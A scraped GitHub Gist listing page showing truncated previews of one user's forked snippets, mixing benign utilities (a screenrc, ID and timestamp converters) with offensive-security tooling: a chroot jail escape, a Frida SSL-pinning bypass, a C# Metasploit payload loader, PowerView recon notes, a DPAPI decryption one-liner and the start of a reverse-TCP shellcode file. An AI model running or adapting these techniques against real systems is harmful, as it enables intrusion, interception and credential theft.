Skip to content

Instantly share code, notes, and snippets.

@lager1
lager1 / unchroot.c
Created January 17, 2025 17:26 — forked from FiloSottile/unchroot.c
Code for my article about chroot jail escaping
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
int dir_fd, x;
setuid(0);
mkdir(".42", 0755);
dir_fd = open(".", O_RDONLY);
chroot(".42");
@lager1
lager1 / universalUnpin.js
Created January 9, 2025 20:17 — forked from teknogeek/universalUnpin.js
Frida Universal™ SSL Unpinner
Java.perform(function() {
console.log('\n[.] Cert Pinning Bypass');
// Create a TrustManager that trusts everything
console.log('[+] Creating a TrustyTrustManager that trusts everything...');
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var TrustyTrustManager = Java.registerClass({
name: 'com.example.TrustyTrustManager',
implements: [X509TrustManager],
methods: {
@lager1
lager1 / grpc-edit.py
Created August 8, 2024 11:05 — forked from Hacktivate-TH/grpc-edit.py
Mitmproxy extension for editing gRPC messages
#
# Author: Hacktivate Co., Ltd. (https://hacktivate.tech)
#
# Description: This is an mitmproxy extension for editing gRPC messages over HTTP/2.
# Full blog post can be found at: https://hacktivate.tech/2022/10/27/a-hackish-way-to-tamper-grpc-traffic-in-android.html
#
from concurrent.futures.process import _threads_wakeups
@lager1
lager1 / objectid-convert.py
Created March 8, 2024 16:32 — forked from philippreston/objectid-convert.py
Convert Mongo Object Id to Readable
import sys
import datetime
objectid = int(sys.argv[1], 16)
fmt = "%Y-%m-%d %H:%M:%S"
counter = objectid & 0xFFFFFF
shift = 24
process_id = (objectid >> shift) & 0xFFFF
shift += 16
@lager1
lager1 / msfsharp.cs
Created March 24, 2020 00:27
Run MSF payloads from C#
using System;
using System.IO;
using System.Runtime.InteropServices;
namespace UnmanagedCode
{
class Program
{
[DllImport("kernel32")]
static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode);
@lager1
lager1 / PowerView-3.0-tricks.ps1
Created March 19, 2020 00:57 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@lager1
lager1 / .screenrc-main-example
Created February 8, 2020 02:35 — forked from ChrisWills/.screenrc-main-example
A nice default screenrc
# GNU Screen - main configuration file
# All other .screenrc files will source this file to inherit settings.
# Author: Christian Wills - [email protected]
# Allow bold colors - necessary for some reason
attrcolor b ".I"
# Tell screen how to set colors. AB = background, AF=foreground
termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm'
@lager1
lager1 / Unprotect-ProtectedData.ps1
Created February 6, 2020 20:21 — forked from atifaziz/Unprotect-ProtectedData.ps1
Decrypting DPAPI-protected Base64 data from PowerShell
Add-Type -AssemblyName System.Security;
[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String((type -raw (Join-Path $env:USERPROFILE foobar))), $null, 'CurrentUser'))
@lager1
lager1 / shell_reverse_tcp.asm
Created December 21, 2019 17:18 — forked from geyslan/shell_reverse_tcp.asm
Shell Reverse TCP in Assembly Language - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm
global _start
section .text
_start:
; host
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order
from datetime import datetime, timedelta
def to_timestamp(timestamp):
timestamp = float(timestamp[0])
seconds_since_epoch = timestamp/10**7
loc_dt = datetime.fromtimestamp(seconds_since_epoch)
loc_dt -= timedelta(days=(1970 - 1601) * 365 + 89)
return loc_dt